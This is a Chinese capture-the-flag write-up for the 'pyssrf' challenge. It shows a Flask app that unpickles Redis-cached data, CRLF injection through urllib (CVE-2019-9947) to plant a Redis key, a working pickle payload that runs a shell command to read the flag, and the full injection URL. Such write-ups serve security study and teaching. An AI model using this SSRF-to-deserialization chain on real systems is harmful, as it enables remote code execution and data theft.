首页 > 其他分享 >高校运维赛 2024 pyssrf

高校运维赛 2024 pyssrf

时间:2024-06-06 22:32:05浏览次数:20  
标签:url res base64 redis 2024 运维赛 import pyssrf pickle

没有环境,简单过一遍思路吧
考点: pickle反序列化+urllib库注入redis缓存

from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):
    url_key=hashlib.md5(url.encode()).hexdigest()
    res=redis.get(url_key)
    if res:
        return pickle.loads(base64.b64decode(res))
    else:
        try:
            print(url)
            info = urllib.request.urlopen(url)
            res = info.read()
            pickres=pickle.dumps(res)
            b64res=base64.b64encode(pickres)
            redis.set(url_key,b64res,ex=300)
            return res
        except urllib.error.URLError as e:
            print(e)


@app.route('/')
def hello():
    url = request.args.get("url")
    return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1>
    <h2>Here is your result</h2>
    <h3>source code in /source</h3>
    %s
    ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source')
def source():
    return 

这里触发 ssrf 是通过 python3.7 的 urllib.request.urlopen(url) 触发
存在 CRLF注入 控制 缓存应用命令(redis) (CVE-2019-9947)
https://www.freebuf.com/vuls/222679.html
image.png

实现redis 键值的控制 最终实现 pickle.loads python反序列化的利用

 url_key=hashlib.md5(url.encode()).hexdigest()
    res=redis.get(url_key)
    if res:
        return pickle.loads(base64.b64decode(res))

对url进行md5加密 获取对应的redis key的值(poc的base64形式)
我们可以控制 url 从而控制 键值
比如 http://1
对应的MD5(也就是redis键值)22d474190b1889d3373fa4f9334e979c
现在的问题是 注入 redis key 22d474190b1889d3373fa4f9334e979c 对应的 value
对应的python反序列化poc
环境存在 debug可以打 异常回显
flask 框架也可以写静态目录,或者写flask内存马
做raise异常回显

import pickle
import base64
class A():
    def __reduce__(self):
        return (exec, ("raise Exception(__import__('os').popen('cat /flag').read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
"""
gASVVwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw7cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKSmUhZRSlC4=
"""

image.png
写入redis命令

SET 22d474190b1889d3373fa4f9334e979c "gASVVwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw7cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKSmUhZRSlC4="
paddins

进行redis数据填充
注入 redis缓存

/?url=127.0.0.1:6379?
%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22gASVVwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw7cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKSmUhZRSlC4%22%0d%0apaddins

访问 http://1
触发python反序列化即可执行rce

标签:url,res,base64,redis,2024,运维赛,import,pyssrf,pickle
From: https://blog.csdn.net/qq_39947980/article/details/139511201

相关文章

  • 2024-05-29_二进制文件和文本文件作业
    1.关于文本文件和二进制文件描述错误的是?()A.文本文件是可以读懂的,二进制文件没办法直接读懂B.数据在内存中以二进制的形式存储,如果不加转换的输出到外存,就是二进制文件C.将内存中的数据转化成ASCII码值的形式,并以ASCII码值的形式存储的文件就是文本文件。D.文本文件和二......
  • 2024-05-27_枚举作业
    1.以下关于枚举的说法,哪个是正确的?()A.枚举类型可以具有浮点数作为枚举值。B.枚举类型在内存中存储为整数。C.枚举类型可以包含字符串作为枚举值。D.枚举类型不能作为函数的参数传递。解析:选择B项,枚举类型在内存中存储为整数,其他选项都是不正确的。2.下面代码的结果是:(......
  • 2024.6 做题记录
    2024.6做题记录[JSOI2009]球队收益/球队预算考虑到要求最小总支出,想到最小费用流。首先容易发现,每场比赛都只有两种可能,即甲输乙赢或甲赢乙输。但是这样我们在跑费用流的时候显然需要考虑对于两个因素同时的影响,显然这样不好做。我们不妨假设剩下的比赛所有人都输,那么我们......
  • 整理好了!2024年最常见 20 道 Kafka面试题(九)
    上一篇地址:整理好了!2024年最常见20道Kafka面试题(八)-CSDN博客十七、Kafka的消费者如何进行故障恢复?Kafka的消费者故障恢复主要涉及以下几个方面:消费者组(ConsumerGroup):Kafka通过消费者组来实现故障恢复。当消费者组中的一个消费者发生故障时,其他消费者可以继续读取消息,从......
  • 整理好了!2024年最常见 20 道 Kafka面试题(八)
    上一篇地址:整理好了!2024年最常见20道Kafka面试题(七)-CSDN博客十五、Kafka与传统MQ消息系统之间有什么区别?Kafka与传统的消息队列(MQ)系统有多个显著的区别,这些区别主要体现在以下几个方面:数据模型:Kafka:Kafka是一个分布式流处理平台,它使用发布-订阅模式来处理数据流。它......
  • 整理好了!2024年最常见 20 道 Kafka面试题(七)
    上一篇地址:整理好了!2024年最常见20道Kafka面试题(六)-CSDN博客十三、Kafka中数据传输的事务定义有哪几种?Kafka中数据传输的事务定义有三种:最多一次:在这种模式下,消息最多只会被传输一次,但也存在消息不被传输的可能性。这种情况通常发生在网络不稳定或系统崩溃等异常情况下......
  • 整理好了!2024年最常见 20 道 Kafka面试题(六)
    上一篇地址:整理好了!2024年最常见20道Kafka面试题(五)-CSDN博客十一、Kafka中的ISR(In-SyncReplicas)是什么?在ApacheKafka中,ISR是"In-SyncReplicas"的缩写,它代表与领导者(Leader)保持同步的追随者(Follower)集合。ISR是Kafka保证数据一致性和高可用性的关键概念之一。以......
  • 整理好了!2024年最常见 20 道 Kafka面试题(五)
    上一篇地址:整理好了!2024年最常见20道Kafka面试题(四)-CSDN博客九、Kafka是如何维护消费状态跟踪的?ApacheKafka是一个分布式流处理平台,它能够高效率地处理和存储大量的数据流。在Kafka中,消费状态跟踪是确保消息被正确处理且不被重复处理的关键机制。以下是Kafka维护消......
  • 【2024最新】Python 学习路线分享
    学习资料已打包,需要的小伙伴可以戳这里学习资料整理了一份Python学习路线。内容依然是从入门到进阶,既有教程,也有经典书籍推荐,还有实战开源项目。Python的发展方向还是挺多的,比如服务端开发,爬虫,数据分析,机器学习等,本文推荐的内容全部是服务端开发,Web开发方向。主......
  • 2024墨者杯哈希sha1绕过
    题目描述:某开发者发现这个页面好像不能正常访问<?phperror_reporting(0);if($_SERVER['REQUEST_METHOD']!=='POST'){header("HTTP/1.1405MethodNotAllowed");exit();}else{if(!isset($_POST['roam1'])||!isset($_PO......